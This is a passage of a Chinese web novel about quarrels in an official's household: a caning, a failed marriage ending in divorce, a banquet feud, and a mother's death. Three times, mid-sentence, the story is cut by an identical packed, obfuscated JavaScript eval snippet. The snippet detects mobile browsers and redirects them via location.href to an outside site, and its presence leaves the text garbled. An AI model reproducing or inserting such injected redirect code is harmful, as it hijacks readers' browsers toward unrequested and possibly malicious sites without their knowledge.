不想王夫人忽然从旁边扑了出来，一下子跪倒在老太太跟前，哭道：“老太太明鉴，我那两个孩子，不过是瞧着金玉玩意儿新鲜，想拿在手里细看看，怎么就被说成偷了？”一面说，一面拿帕子拭泪，哭得呜呜咽咽。 宋夫人原本在一旁冷眼看着，听了这话，气得浑身乱颤，指着王夫人骂道：“好个颠倒黑白的嘴！你们大房就是这样教养儿子的？照你这么说，倒成了我家舆哥儿多管闲事了？若不是舆哥儿撞见，你那两个好儿子，怕不是要把我女儿的嫁妆都给偷个干净！” 正闹着，曹兰书从人群里站出来，低声道：“我来作证。当时…当时哥哥确实偷了东西。” 宋夫人得了证词，越发得了意，一脸厌恶地朝王夫人翻了个白眼：“你听听，你自个儿的女儿都认了，你还在这儿狡辩什么？依我看，你这女儿，倒比你明事理百倍。” 老太太点了点头：“亏得兰姐儿从小在我这儿养着，若跟了你，不知要教成什么样子。” 王夫人听了这话，脸色霎时变得惨白。 她怔了怔，忽然捶胸顿足地哭嚎起来：“天爷呀！都欺负我们孤儿寡母！我活着还有什么意思？不如随了他们爹去，倒也干净！”说着，挣扎着起身，朝旁边的墙上撞去。 曹舆眼疾手快，一把将她拽了回来。 他也不慌，冷笑道：“大伯母这话好没道理。祖母管教孙子，原是应当的。你既要死要活，倒把话说清楚了。究竟是谁欺负了你？怎么欺负的？当着大伙儿的面，一一说出来，也好叫我们心里头明白明白。” 说罢，他看了看曹望手里的戒尺，又看了看老太太的脸色，心里暗暗笑了笑，便上前一步，道：“祖母，父亲年纪大了，力气不比当年，这一戒尺下去，怕是两位哥哥也觉不出什么疼来。孙儿在军营里整日练武，有的是力气，不如让孙儿代劳？” 王夫人一听，登时吓得魂飞魄散，也不哭嚎了，尖声道：“不成！岂有做弟弟的殴打兄长的？你这是大逆不道！” 曹舆不慌不忙：“我只是替父亲行家法罢了。”他打量了一眼那戒尺，轻笑了声，“这戒尺得打多少下，两位哥哥才能长记性？依我看，还是请竹鞭来罢。” “竹鞭？”曹轸曹轴异口同声地叫了出来。 曹轸从地上跳起来，指着曹舆的鼻子骂道：“你敢！小时候我带你掏鸟窝、捉蟋蟀，那些情分都喂了狗不成，如今倒要拿竹鞭抽我！” 曹舆听了，不慌不忙地理了理袖口，慢悠悠地道：“是啊，每次闯了祸，都是我去顶缸，哥哥倒是撇得干干净净。”他转向老太太，躬身道，“孙儿请命，执行家法。” “好！好啊！”曹轸怒极反笑，一挥手，将旁边一张桌子推倒在地，茶碗果碟摔得粉碎，“这个家，我不待了！” 说罢，转身就朝门外冲去。 王夫人哭得鼻涕一把泪一把，追在后头喊：“儿啊！儿啊！你不要娘了？” 老太太气得一拍桌子，王夫人吓得一个激灵，登时钉在原地，不敢动了。 “把曹轸给我擒回来！竹鞭伺候，由曹舆行刑！” 说罢，老太太心口一阵突突地跳，忙用手捂着胸口，靠在椅背上喘气。 曹晚书见状，连忙上前，轻轻替她拍着后背。 王夫人又跪倒在地，不停地拿帕子拭泪，抽抽噎噎地道：“婆母，会把轸哥儿打坏的。” 老太太闭着眼，半晌才道：“他这个性子不收一收，日后闯下大祸，有你哭的时候。” 两个小厮已把曹轸拖了进来，按在长板凳上。 曹轸犹自挣扎不休，刚按上去，他又挣起来，如此三四回，小厮们没了法子，只得拿绳子将他五花大绑，结结实实地捆在凳子上。 曹舆见了，心里头乐开了花。他接过竹鞭，在手里掂了掂，一鞭抽下去，曹轸屁股上便出一道血痕。 一鞭，两鞭，三鞭……足足抽了二十多鞭，曹舆方才停手。 曹轸起初还骂，后来便只剩了哼哼。 曹轴跪在一旁，看得魂飞魄散，脸都白了。想到接下来自己也是这个下场，两眼一翻，竟直挺挺地晕了过去。 轮到曹轴时，王夫人死命抱住他，任凭谁也拉不开，哭喊道：“我可怜见的儿，谁也不许碰他。” 曹舆上前拉她的肩膀：“大伯母，起开罢。” “滚！滚！”王夫人怒吼道，“你这个畜生！” 曹舆不慌不忙地道：“伯母别急。咱们待会儿再说说那些印子钱借据的事。” 此言一出，满室皆惊。 宋夫人尖叫起来：“你敢放印子钱？！” 王夫人的脸色，瞬间从惨白变成了铁青。 她愣了愣，连连摆手：“我没有，他胡说的。” 宋夫人气得手都发抖了，指着她道：“你…你敢放印子钱。” 曹舆拍了拍手，门外便进来两个小厮，捧着一沓纸条，恭恭敬敬地交到曹舆手上。 曹舆接过来，往王夫人脸上一甩，纸条纷纷扬扬落了一地。 “这些便是证据。你亲自签的字，画的押，还敢说没有？” 宋夫人登时疯了似的，扑上去一把掐住王夫人的脖子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269863|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破口大骂：“你个没天良的东西，眼里还有没有王法了！” 王夫人哑口无言，任由她掐着，一言不发。 老太太气得捶胸顿足，好半天才缓过气来，指着王夫人道：“自明日起，你就到庄子上住去罢。每日吃斋念佛，待个一年半载，想明白了再回来。” 王夫人面如死灰地瘫坐在地，看着两个血肉模糊的儿子，眼泪簌簌地往下落。 夜色深沉。 曹玉书坐在新房里，大红盖头早已揭了，搁在一旁。 月见在一旁站着，气鼓鼓的，到底忍不住，低声道：“迎亲的时候，李家就迟迟不来。如今洞房花烛，都子时了，姑爷怎么还不来？” 曹玉书道：“你去给我找些吃食来罢，我有些饿了。”说着，抬手将头上的冠子取下来，小心翼翼放在桌上，揉了揉脖子，“这冠子好生沉，累得我脖子都快断了。” 月见上前看了看她额头上勒出的红印子，心疼道：“姑娘想吃什么？我去厨房要。” “有什么就吃什么。快去快回罢。” 月见应了一声，转身去开门。 不想门一开，门口站着一个人，穿着大红婚服，倒把她吓了一跳。 定睛一看，才认出是李植，连忙退后一步，行了一礼：“姑爷。” 曹玉书在里头听见了，心里头突地一跳，慌忙把桌上的冠子拿起来往头上戴，又匆匆忙忙把扇子举起来挡住脸。只是心慌意乱的，冠子竟前后戴反了，还歪在一边。 月见回头一看，哭笑不得，连忙小步上前，替她正过来。 李植站在门口，朝曹玉书看了一眼。 就这一眼，他的脸色忽然变了。 变得惨白，白得像纸。 他连连后退了几步，险些跌倒在地上，一只手抖抖索索地指着曹玉书，嘴唇哆嗦着，不知在说什么。 月见吓了一跳，忙道：“姑爷，您怎么了？” “鬼…好多鬼。”李植声音发颤，“鬼神千万在其前……啊！鬼！” 月见愣住了。她看看李植，又看看自家姑娘。姑娘虽不是天仙下凡，那也是水葱儿似的人儿，怎么就成了鬼了，还把个大活人吓成这副脓包样子。 曹玉书也被他这疯魔样子骇得心头乱跳。 她站起身，迟疑着往前挪了一步，问：“你看见什么了？” “别过来！你是鬼！你别过来！” 李植连滚带爬地从地上挣起来，帽子滚落在地也顾不得捡，跌跌撞撞冲出房门，眨眼就消失在夜色里。 屋里头，主仆两个你看着我，我看着你，大眼瞪小眼。 这叫什么事？ 直到次日天明，李植再没有来过。 曹玉书枯坐了一夜，眼圈都青了。到了敬茶的时辰，她没法子，只好一个人往前头去。 李夫人见她独自来了，往她身后张望了一番，奇道：“怎么不见植哥儿？” 曹玉书垂下眼，如实道：“他从昨晚见了我一面，便吓得跑了。至今也没见着人影。” “啊？”李夫人脸上的笑容僵住了。 过了好一会儿，她才回过神来，忙吩咐人：“快来人，去把植哥儿找出来。” 连着两天，也找不见李植的踪影。 到第三天早上，曹玉书彻底恼了。 她带着月见冲到前厅。 李夫人正在那里坐着发愁，见她来了，忙起身笑脸相迎。 曹玉书也不坐，只站着，冷声道：“你们李家，到底是什么意思。” 李夫人满脸愧疚，好言好语道：“我们这不是也在找么。” 曹玉书道：“月见，我们走！” 李夫人慌了，赶忙追上去拦她：“他兴许是有什么急事，一时回不来，你再等等。” 曹玉书丢下一句话：“我要等到什么时候？等到他修仙成道，长生不老么？！” 说罢，头也不回地去了。 24. 四姐姐和离了 宋夫人歪在榻上，听人回说四姑娘回来了，还当是三日回门，忙起身迎出去。 及至见了曹玉书的面，见她眼眶红红的，脸色也青白，心里便“咯噔”一下，暗道不好。 曹玉书见了母亲，忍了一路的眼泪，便再也收不住，一头扎进宋夫人怀里，哭得说不出话来。 宋夫人唬得什么似的，一面搂着她拍抚，一面拿眼去瞪月见：“这是怎么了？” 月见嘴快，不等曹玉书开口，便把那夜的事一五一十说了。如何如何等到子时，姑爷如何进门，如何见了姑娘像见了鬼似的，如何跌跌撞撞地跑了，如何两三日不见踪影。 宋夫人不听则已，一听这话，登时火冒三丈，拍着桌子骂道：“好个李植，他竟敢这般作践我女儿！早知如此，当初说什么也不该应这门亲事！” 曹玉书哭了一阵，方抬起头来，拿帕子拭了泪，咬着唇道：“母亲，我要与李植和离。” 宋夫人一怔，随即点头道：“必须和离。我女儿花一样的年纪，难不成真个守活寡。” 她来回踱步，越想越气：“怪道那日迎亲，他们李家迟迟不来，我只当是路上耽搁了，如今想来，分明就是不情愿。既是不情愿，又何必来求亲。” 景福堂里，曹老太太由曹晚书伺候着用点心。 曹晚书拿着筷子，夹了一箸菜，送到老太太嘴边，笑道：“祖母，再尝尝这个，是我亲手做的。” 老太太嚼了嚼，点头赞道：“嗯，不错。五丫头的手艺是越来越好了。” 曹晚书得意地笑了笑：“只要祖母喜欢，我每日变着花样给您做。” 老太太笑得合不拢嘴，对一旁的刘妈妈道：“你听听，这丫头嘴抹了蜜似的，就会讨我欢心。” 刘妈妈笑道：“五姑娘孝顺，老太太有福气呢。” 话音刚落，宋夫人那大嗓门，还没进门，就嚷开了：“老太太！您可要给玉书做主啊！他们李家欺人太甚！” 老太太放下筷子，微微皱眉：“什么事？瞧你莽莽撞撞的。” 宋夫人一头闯进来，后头跟着曹玉书。 她一进门，也顾不得什么礼数，扑到老太太跟前，哭道：“那个李植，新婚之夜指着玉姐儿说是鬼，吓得跑了，至今不见踪影。若不是念着当年公爹被他家所救，我说什么也不会把玉姐儿嫁过去受这等屈辱。呜呜呜……” 老太太听了，把曹玉书拉到跟前，细细打量了一番，心疼道：“好孩子，这话可当真？” 曹玉书点点头，泪又下来了。 老太太叹了口气，正要说话，宋夫人又道：“老太太，这还是其次。如今李家倒打一耙，满城里传咱们玉书样貌丑陋，新婚之夜吓跑了夫君。这话传得沸沸扬扬的，若真个和离了，玉姐儿往后可怎么嫁人？”说着，又大哭起来。 曹晚书在一旁听得，气得脸都白了，两排牙咬得咯咯响，忍不住道：“岂有此理！我这就找他们李家算账去！” “回来！”老太太厉声道，“你一个未出阁的姑娘，出什么头？给我安生待着。” 曹晚书抿了抿嘴，把那股火气强行压了下去。 老太太沉吟片刻，道：“让人备车，我亲自去一趟李家。等你父亲下朝回来，告诉他，把宗族族长、族老们都请来，商议和离的事。” 次日一早，曹家马车直抵李宅门前。 宋夫人身后跟着十几个小厮，浩浩荡荡地进了李家大门。 李夫人正在厅上坐着，见这阵仗，脸上的笑便僵了僵，起身迎道：“亲家老太太，亲家夫人，这是做什么？” 曹老太太端坐在椅上，面色沉静，不怒自威。 她也不绕弯子，开门见山道：“李夫人，今日我们过来，便是商议和离的事。” 李夫人脸色一变。 老太太继续道：“当年李大人救了我官人性命，我们感激不尽，答应结为儿女亲家。这些年来，我们曹家一直信守承诺，将玉书嫁了过来。可如今令郎逃婚在外，反倒叫我家孙女担了恶名。这事，我们曹家断不能忍。” 李夫人听她提起这话，忙道：“可冤煞我了，这话可不是我传出去的。那日府上来了许多宾客，许是他们嘴碎，捏造出来的也不一定。” 月见在一旁忍不住道：“当时姑爷进屋，已经过了子时，宾客早就散了。” “放肆！”李夫人一拍桌子，“你一个奴婢，这里有你插嘴的份？” 宋夫人扬了扬眉，冷笑道：“李夫人好大的威风。我女儿的事，我女儿的丫头说不得？今儿我们把话撂在这儿。和离，是非和不可的。旁的废话，不必再提。” 李夫人也恼了，沉着脸道：“若我家不答应呢？” “那咱们就公堂上见。”宋夫人丝毫不让，“你儿子跑了，倒拉着我女儿守活寡，天下没有这样的理。” 李夫人不屑地哼了一声：“别打量我不知道，你们曹家和官府里勾着呢。” “话可不能乱说。”宋夫人打断她，“我们曹家清清白白，律法可是摆在那儿的。有理走遍天下，没理寸步难行。你急什么？” 李夫人被她堵得说不出话，气得浑身发抖。 回头一看，她那个夫君，李大人还坐在角落里，手里拿着一柄拂尘，慢条斯理地擦拭着，对眼前这场闹剧，竟似充耳不闻。 李夫人一肚子火没处撒，几步冲过去，一把抢过那拂尘，狠狠摔在地上，骂道：“你是一家之主！就看着我一个人在这狼窝里斗？整日摆弄这些劳什子，儿子都是叫你教坏的！” 李大人缓缓弯下腰，拾起拂尘，抖了抖上头的灰，面色仍是淡淡的，只道：“修之于家，其德乃余。” “呸！什么鱼不鱼的！我听不懂你这些鬼话！”李夫人已是气昏了头，一眼瞥见案上那些瓶瓶罐罐，更是火上浇油，冲过去抱起来就往地上砸，“我让你炼！让你炼！炼得儿子跟你学坏了！” 瓶瓶罐罐碎了一地，丹丸滚得东一颗西一颗。 李大人没有拦她，而是长长叹了口气。 他转过身，对着曹老太太和宋夫人，深深作了一揖，道：“家门不幸，贱内无状，让亲家老太太、亲家夫人见笑了。千错万错，是我李家对不住曹家。和离……就和离罢。” 李夫人一听，登时急了，冲过去推了他一把，骂道：“你疯了不成？你脑子叫驴踢了！” 李大人忽然抬起头来，瞪着她，咆哮道：“我看疯了的是你！” 这声音震得屋梁上的灰都簌簌落下来。 李夫人被吼得一愣，定定地站在那儿，不敢再开口。 两家各自请了族老来，当面议定和离，按下手印。曹玉书的嫁妆，如数抬回曹家。 自此，曹李两家，再无干系。 光阴迅速，转眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277983|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便是数月。 这一日，永定侯府摆满了月酒。 曹金书生了个大胖小子，宋夫人高兴得不得了，早早便张罗起来。 水榭旁的回廊上，挂满了琉璃灯，风一吹，叮叮当当的响。宾客络绎不绝，笑语喧哗。 小娃娃裹着大红襁褓，颈间挂着长命锁。 宋夫人抱在怀里，别提有多稀罕，凑到曹晚书跟前，笑道：“晚丫头，你快瞧瞧，这嘴巴，这眼睛，跟你大姐姐小时候一模一样。你看像不像？” 曹晚书掩着嘴笑：“母亲又糊涂了。大姐姐落地时，我还在娘胎里打转呢，哪里就见过？” 宋夫人愣了一下，随即拍着额头哈哈大笑：“瞧我这记性！一高兴，嘴上就没把门的了。”说着，又探头朝窗外望望，见外头人来人往的，忙叮嘱曹金书：“一会儿放爆竹驱邪，让姑爷嘱咐底下人，离孩子住的上房远着些，可别惊了我的宝贝疙瘩。” 曹金书笑道：“嗐！您这是把他当瓷娃娃了。他爹说了，要打小儿养他个大胆的性子，往后还要带兵打仗呢。” “可别！”宋夫人忙摆手，“快让姑爷死了这条心罢。你弟弟整日价带兵打仗，我这心天天提着，烧香拜佛就没断过，就怕有个闪失。再来一个，我这命还要不要了？” 这时，顾平生走了进来。 他向宋夫人作了揖，恭恭敬敬道：“岳母大人，马上开席了，请您入座罢。” 说着，又往四下里看了看，问：“怎么不见四姨姐儿？” 曹金书这才想起来，忙道：“正是呢，四妹妹怎么没来？我听说李家的事了，正想问问。” 曹晚书见宋夫人没言语，便替她答道：“她想一个人静静，便没过来。” 顾平生点点头，又道：“我听说，辕哥儿中举了？” 他不提还好，一提这事，宋夫人脸上便有些不好看。 她撇了撇嘴，道：“可不是么。李姨娘的鼻子都快翘到天上去了，逢人便说她儿子是文曲星下凡，说我的舆哥儿不过一介武夫。” 曹金书忙笑着哄道：“李姨娘不一直都是那样的人麽。辕哥儿有出息，也是给咱们曹家争光不是？母亲别气了。” 宋夫人这才脸色缓和些，嘟囔道：“我哪是气这个？我只是看不惯她那副嘴脸罢了。” 一时开席，宾客们按着位次坐了。 曹晚书和曹兰书被安排在水榭东边的一席，同席的都是些官宦人家的千金小姐。 其中一个满头珠翠、穿金戴银的小姐，名唤赵萧萧，一双眼在曹家姐妹脸上溜来溜去，忽然问道：“你们两个，哪个是那曹玉书？” 兰书回答：“我四姐姐今天没有来。” “不来好哇，省得来了，万一不小心露出那张脸，吓着席上这满堂的娇客，岂不是大煞风景？哈哈哈…”她说着，还故意拿眼去瞟周围人的反应，得意之色溢于言表。 这话狠狠扎在曹晚书心上。 她手里还握着酒樽，抬起眼，目光冷得如寒潭，剜了赵萧萧一眼。 随即，她唇角勾起一抹冷笑，将手中酒盅儿往桌上轻轻一顿，曼声吟哦起来： “小人无状，鼠目寸光。 见人富贵，恨塞胸膛。 自身龌龊，偏吠日狂。 可怜虫豸，徒惹笑场。” 这哪里是吟诗，分明是指着和尚骂秃驴。 25. 碰见个浪荡子 赵萧萧面上那点子得意渐渐凝住，继而涨得通红，霍地立起身来，伸出纤纤玉指，直直指着曹晚书，尖声道：“小贱人！你骂谁是虫豸？” 曹晚书不慌不忙，拿起绢子轻轻沾了沾唇角，满脸是茫然不解的神气：“姐姐这是怎么说？妹妹不过见席间热闹，偶然想起前儿瞧话本子，上头有几句话，是形容市井泼皮的，觉着有趣，便念出来解个闷儿罢了。姐姐何至于这般动气？难不成，这村话可是戳着姐姐的心事？” 赵萧萧气得浑身乱战，脸上红一阵白一阵，嘴唇哆嗦着，说不出囫囵话来。 四围坐着的千金们，不敢明目张胆地笑。低了头，有以帕掩口的，有悄悄交换眼色的，有咬着耳朵说小话儿的。 赵萧萧站也不是，坐也不是。 正没开交处，赵萧萧身畔站着一个穿银红褙子的女子，扬起脸来，鼻孔朝天地说道：“好个不知天高地厚的丫头，你可知眼前这位贵人是谁？说出来，只怕吓破你的胆！” 曹晚书把脊背挺得笔直，淡淡道：“便是金枝玉叶，也须讲个理字。方才无端端拿我们曹家姊妹取笑，这是什么道理？” 那女子冷笑一声：“这位可是清平县主，七大王的爱女。不日便要出阁，嫁与安亭蕴安大官人做正头娘子。我恍惚听说，你们曹家如今也想攀附安大人呢。” 说着，转脸向旁侧一个穿桃红褙子的侍女挤了挤眼，侍女便嗤地笑出声来，眼睛直勾勾盯着曹晚书，扬眉道：“是你想攀附？还是曹玉书？又或者，是你身旁这位？”她拿眼梢瞟了瞟兰书。 曹晚书听了，自是怒不可遏。可面上还不得不绽出笑靥，只听她道：“我们曹家的事，你一个外头人如何知道得这样真切？难不成我们姊妹在家说话时，这位姐姐蹲在房梁上听壁角来着？” 闻言，有几个年轻些的媳妇，忍不住将口中茶水喷了出来，慌得连忙低头拭衣襟。 那女子恼羞成怒，狠狠跺了跺脚，一张脸涨成了猪肝色。 这时，屏风外闪过一道宝蓝身影。 宋夫人眼尖，忙抢上前去拦住，笑道：“准哥儿往哪里去？这边是女席，仔细冲撞了姑娘们。” 这冯准生得倒是一表人才，头戴白玉莲瓣冠，身穿石青缂丝交领长袍，真个是翩翩佳公子的模样。 他站在那里，隔着屏风的缝隙往里张望，指着那边厢的曹晚书，低声问宋夫人：“姑母，你瞧席间那位穿淡蓝褙子的小娘子，好一副伶牙俐齿，竟是個妙人儿呢。” 宋夫人探头瞧了瞧，笑道：“嗐，那是你晚书妹妹，我常和你提起的。” 冯准眼睛一亮，道：“原来她就是晚书妹妹？我将来若娶了她家去，可不得被她整治得死死的？”说着，自己倒先笑了，心里暗暗盘算起来。 宋夫人听了这话，啐道：“趁早儿收起你这没要紧的想头罢！你想娶，我还不叫她嫁你呢。” 冯准一愣，忙道：“这是怎么说？” 宋夫人拿眼风扫了他一下，压低声道：“人家晚书的事，早与安家哥儿说定了。安亭蕴安探花，那可是我与你姑父心里头看准了的人。你还在这里做梦呢！” 她又想起一桩事来，便拿指头点着他道：“还有，我劝你趁早儿把你那个外室安置妥当了好。这样没遮没拦的，仔细将来闹出来，没脸见人。” 冯准一听，慌得脸上变了颜色，连忙摆手，四下一瞧，见无人在近前，才凑近了低声道：“姑母千万休提！这事若传出去，我这名声还要不要了？好姑母，权当没这回事罢。” 宋夫人嗔了他一眼：“我自替你瞒着，可你自己也该检点些。如今倒想着娶晚书了，也不掂量掂量自个儿。” 冯准涎着脸笑道：“好姑母，我瞧着晚书妹妹实在好，心里爱得什么似的。您老人家好歹替我想想法子，周全周全。” 宋夫人冷笑道：“哼，你梦里想去罢！” 且不说这厢姑侄两个说私话，单说席面上，清平县主想起一桩旧事，道：“我倒是想起来一件事，当年顾侯夫人和襄阳王那些风流韵事，如今想想，还觉着好笑呢。” 她口中这个“顾侯夫人”，指的便是曹家大姑娘曹金书。 桌案底下，曹晚书的一双拳头攥得死紧，她厌恶极了眼前这个拿自己姊妹作践取乐的女人。 旁边另一个女子凑趣道：“如今林二姑娘已是襄阳王妃了，曹大姑娘到底只落了个侯夫人做。” 曹晚书面上仍带着笑，只听她对着兰书曼声道：“妹妹，你还记得东街说书先生养的那只鹦鹉吗？” 兰书有些不明所以，什么鹦鹉？她不知道。 不等她开口，曹晚书便道：“你忘啦？那鹦鹉学舌倒是勤快，可惜捡来捡去，尽是些腌臜话呢。” “好！好个曹五姑娘！”冯准躲在屏风后，险些拍手叫起好来，被宋夫人连忙一把拽住袖子，往男宾席那边拖去。 曹兰书见清平县主脸上青白不定，晓得这是动了真气，只怕晚书惹出大祸来，便悄悄在桌下扯了扯她的衣襟，使个眼色，叫她别再言语。 清平县主霍地立起身来，冷冷一笑：“你今日得罪了我赵萧萧，来日自有你的好果子吃。我们走！” 一声令下，呼啦啦走了一多半人。剩下来的那几个，都是素日与曹家交好的。 王家三姑娘挪过身来，低声劝道：“晚书妹妹，你也别气了。那个清平县主，性子最是骄横，眼里没人，咱们只当没瞧见就完了。” 曹晚书摇摇头，道：“她骄横她的，我管不着。可她拿着我家里人作践，我便不能忍。王家姐姐，你是见过我四姐姐的，你倒说说，她可是外头传的那样？” 王家三姑娘叹了口气，道：“自然不是。只是那些人没福，没见过玉书妹妹的好模样，只信那些混账话。晚书妹妹，我劝你一句，往后别招惹她了。我也听说了，她要嫁安亭蕴的事，如今正得意呢。” 曹晚书便不再言语，静静坐着，拿箸子拨弄碗里的菜，却一口也吃不下去。 宴罢，曹晚书独自一个，漫无目的地走着。 她想来想去，还是觉着安亭蕴更可靠些。 毕竟打过几回交道，知道他是个温和细心的。只要他肯答应不纳妾，自己倒甘愿嫁他。可如今，却被清平县主抢了先。 正低着头闷走，忽然后头窜出一个人来，一手捂住她的嘴，一手揽住她的腰，三两步便拖到林子深处。 “你是谁！”曹晚书被推倒在草地上，吓得魂飞魄散，浑身哆嗦。 慌乱间瞥见旁边有根枯枝，忙抓在手里，颤巍巍举着：“你…你别过来！这是侯府，不是你撒野的地方！” 冯准见她吓成这副模样，忍不住笑了：“你当拿着根树枝子，我就怕了你了？”说着，伸手夺过枯枝，两手轻轻一掰，断成两截。 曹晚书脸都白了。 冯准忙退后一步，拱了拱手，笑道：“妹妹别怕，我可不是歹人。你母亲是我姑母，我是她亲侄子冯准。改日还要登门拜访的。” “哦…”曹晚书这才略略放心，从地上爬起来，拍打着身上的泥土，抬脚便要跑。 冯准伸手扯住她袖子，笑道：“曹妹妹，急什么？说句话儿再走。” 曹晚书面上泛起薄怒，道：“冯公子请自重。便是母亲亲侄，也该晓得男女大防。” 冯准见她恼了，忙松开手：“瞧把你吓得。在席面上，你连清平县主都不怕，倒怕起我来了？” 曹晚书瞪了他一眼：“你偷听我们说话？” “无意间听见的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277984|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”冯准上上下下打量她一番，只见她虽有些狼狈，却掩不住那一副好容貌，好身段，心下甚是满意，便笑道，“我改日去你们府上提亲，娶你。” 曹晚书啐了一口：“谁稀罕！”心里却想，这人好歹也是举人出身，怎么这般没个正经，倒像个市井泼皮。 扔下这句话，她提起裙摆，转身便跑。 跑得太急，不留神脚底下一绊，扑通一声，结结实实摔了一跤。 冯准忙赶上来，问道：“可摔着了？” “你别过来！”曹晚书一骨碌爬起来，回头瞪着他，满脸警惕。 她三步一回头，五步一转身，见他果然站在原地不动，这才放心，一溜烟跑远了。 冯准望着她的背影，忍不住摇头笑了。心想，若娶了这么个有趣的丫头家去，往后的日子可不热闹？只是不知道，她能不能容得下自己那个外室。 兰书见她回来，一身的土，吓了一跳，忙拉住她问：“这是怎么了？可是清平县主使坏，暗地里欺负你了？” 曹晚书摇摇头，道：“没有的事，是我自己不留神，绊了一跤。” 兰书不信：“姐姐，你跟我说实话，若真是她害你，我必不依。” “哎呀，真不是。我本想散散心，走着走着就摔了。” 兰书半信半疑，也不再追问。 说话间已是盛夏。 兴化县这日，天上像破了窟窿，瓢泼大雨倾盆而下，砸得屋瓦噼啪乱响。 屋里闷热得很，窗户上糊的纸都洇湿了，透着一股子潮气。 “大人，鲁国府送信来了，说是要紧的，紧赶着送来的。”一个小厮弓着腰进来，袖口还滴着水，衣襟也湿了一片。 安亭蕴霍地立起身来，一把夺过那封被雨水浸得半潮的信。 三把两把撕开，抽出信纸，一目十行看过去，只见他胸脯一起一伏，长长吸了口气，又沉沉吐出来。 二话不说，跌坐回圈椅里，提起笔来便写得飞快，顷刻间一张白纸便填得满满当当。 安亭蕴搁下笔，取过信封封好，用火漆烫了口，递给小厮，道：“快马加鞭，送到鲁国公府。路上不许耽搁，便是马跑死了，信也得给我送到。” 小厮一迭声应着，双手捧过信来，刚要转身，肚子里忽然一阵咕噜噜响，绞着疼。想是方才淋了冷雨，内急起来。 他偷瞥一眼安亭蕴，见他正背着手站在窗前，望着外头的雨幕出神。 小厮便把信往桌角一撂，夹着腿，往茅房奔去了。 等他提着裤子回来，见信似乎被人动过，挪了位置。心下疑惑，四下里看看，并没人，只道是自己记岔了，或是被窗缝里钻进来的风吹的，也未多想，揣起信，冒雨出门去。 转眼已是八月天气。冯准备了厚礼，登了鲁国公府的门。 曹望坐在厅上，手里捧着茶盏，眼皮子也不抬一下。 他心里还惦记着安亭蕴那小子当初的承诺，如今外头风言风语，都说安探花要攀高枝儿，和清平县主定亲。 曹望心里窝着一团火，偏生不信。这会子见冯准这副架势，更是烦闷。 呷了口茶，慢悠悠放下，曹望打着哈哈道：“贤侄有心了。只是五丫头年纪还小，这婚配的事，再议罢，再议罢。”三言两语，便挡了回去。 尴尬着，一个小厮捧着一封信进来，垂手道：“老爷，兴化县安大人府上送来的。” 曹望一听，眼睛登时亮了，嘴角忍不住往上翘。心道：好小子，到底来信了，必是来解释和清平县主那事的。 他强按捺着，接过信来，等小厮和冯准都退到一旁，才慢条斯理拆开。 抽出信纸展开来，偌大一张纸上，只孤零零写着四个大字——日后勿扰。 26. 丁忧 曹望脸上的笑容瞬间冻住，死死盯着那四个字。 好个安亭蕴，好个背信弃义、攀龙附凤的小人，枉我还当你是个人物。 曹望气得浑身发抖，五指一收紧，将信纸狠狠攥成一团，心里早把安亭蕴的祖宗十八代翻来覆去骂了个遍。 同一时间，安亭蕴料理完公务，又亲往堤坝巡视一周。原该在此驻守三载的差事，不想未及一年，诸般工程竟已告竣。心中欢喜，步履轻快地返回寓所，思量着要将去曹家提亲之事禀明母亲。 曹夫人依旧卧病在榻，只是今日面色更显苍白，无半点血色。 安亭蕴跪在床前，喜形于色：“母亲，儿子已备妥聘礼，不日便往曹家提亲，求娶曹五姑娘。” 曹夫人嘴唇微颤，似要言语，却如胶粘唇舌，难以启齿。自知大限将至，闻得爱子喜讯，不由得两行清泪潸然而下，心中愧恨交加。 安亭蕴见状，眉头紧锁：“母亲怎的脸色恁般难看？”话音刚落，忽见曹夫人掩胸剧咳，一口鲜血呕出，登时气若游丝。 安亭蕴见地上血迹，魂飞魄散：“母亲，我这便去请郎中来！” 曹氏勉力握住他的手，气若游丝：“不必了...为娘自知油尽灯枯...只是误了我儿终身大事...”语毕，双目渐阖，就此长逝。 安亭蕴如遭雷殛，呆跪床前，颤手探她的鼻息。 气息已绝。 当真撒手人寰了。 “母亲！”这一声呼唤，似从肺腑中绞出。仰面望梁，泪如泉涌。 他忽然浑身脱力，跌坐于地，以拳捶胸，五内俱焚。终究难抑悲恸，掩面痛哭，肩背耸动，哀毁骨立。 亭蕴一把将尸身搂入怀中，仰天哭嚎道：“母亲怎的撇下孩儿去了。” 只见他双目赤红如血，忽然之间，两道殷红自鼻孔涌出，滴滴答答落在曹氏衣上。他却浑然不觉，只管将脸贴着母亲渐冷的面颊，呜咽道：“我还没有让你享福，你不准走，母亲…” 